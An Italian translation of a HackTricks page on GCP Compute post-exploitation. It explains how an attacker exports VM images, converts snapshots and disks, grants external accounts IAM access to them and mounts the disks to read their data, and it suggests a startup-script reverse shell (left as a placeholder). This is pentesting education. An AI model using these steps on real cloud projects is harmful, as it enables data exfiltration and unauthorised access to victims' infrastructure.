GCP - Compute Post Exploitation

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks su AWS)!

Altri modi per supportare HackTricks:

Calcolo

Per ulteriori informazioni su Calcolo e VPC (Networking) controlla:

pageGCP - Compute Enum

Esporta e Ispeziona Immagini localmente

Ciò consentirebbe a un attaccante di accedere ai dati contenuti all'interno delle immagini esistenti o creare nuove immagini di VM in esecuzione e accedere ai loro dati senza avere accesso alla VM in esecuzione.

È possibile esportare un'immagine di VM in un bucket e quindi scaricarla e montarla localmente con il comando:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Prima di eseguire questa azione, l'attaccante potrebbe aver bisogno di privilegi sul bucket di archiviazione e sicuramente privilegi su cloudbuild poiché è il servizio che verrà richiesto di eseguire l'esportazione. Inoltre, affinché ciò funzioni, il SA di cloudbuild e il SA di compute hanno bisogno di autorizzazioni privilegiate. Il SA di cloudbuild <project-id>@cloudbuild.gserviceaccount.com ha bisogno di:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

E il SA <project-id>-compute@developer.gserviceaccount.com ha bisogno di:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

Esportare e Ispezionare Snapshot e Dischi localmente

Non è possibile esportare direttamente snapshot e dischi, ma è possibile trasformare uno snapshot in un disco, un disco in un'immagine e seguendo la sezione precedente, esportare quell'immagine per ispezionarla localmente

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Ispezionare un'immagine creando una VM

Con l'obiettivo di accedere ai dati memorizzati in un'immagine o all'interno di una VM in esecuzione da dove un attaccante ha creato un'immagine, è possibile concedere l'accesso a un account esterno sull'immagine:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

e successivamente creare una nuova VM da esso:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Se non hai potuto dare accesso al tuo account esterno sull'immagine, potresti avviare una VM utilizzando quell'immagine nel progetto delle vittime e far eseguire i metadati un reverse shell per accedere all'immagine aggiungendo il parametro:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Ispezionare uno Snapshot/Disco collegandolo a una VM

Con l'obiettivo di accedere ai dati memorizzati in un disco o in uno snapshot, potresti trasformare lo snapshot in un disco, un disco in un'immagine e seguire i passaggi precedenti.

Oppure potresti concedere l'accesso a un account esterno sul disco (se il punto di partenza è uno snapshot concedere l'accesso allo snapshot o creare un disco da esso):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Collega il disco a un'istanza:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Montare il disco all'interno della VM:

  1. Accedi via SSH alla VM:

gcloud compute ssh [NOME_ISTANZA] --zone [ZONA]
  1. Identificare il Disco: Una volta dentro la VM, identifica il nuovo disco elencando i dispositivi del disco. Tipicamente, puoi trovarlo come /dev/sdb, /dev/sdc, ecc.

  2. Formattare e Montare il Disco (se è un disco nuovo o non formattato):

  • Crea un punto di mount:

sudo mkdir -p /mnt/disks/[DIR_MOUNT]
  • Monta il disco:

sudo mount -o discard,defaults /dev/[DISPOSITIVO_DISCO] /mnt/disks/[DIR_MOUNT]

Se non puoi dare accesso a un progetto esterno allo snapshot o al disco, potresti aver bisogno di eseguire queste azioni all'interno di un'istanza nello stesso progetto dello snapshot/disco.

Last updated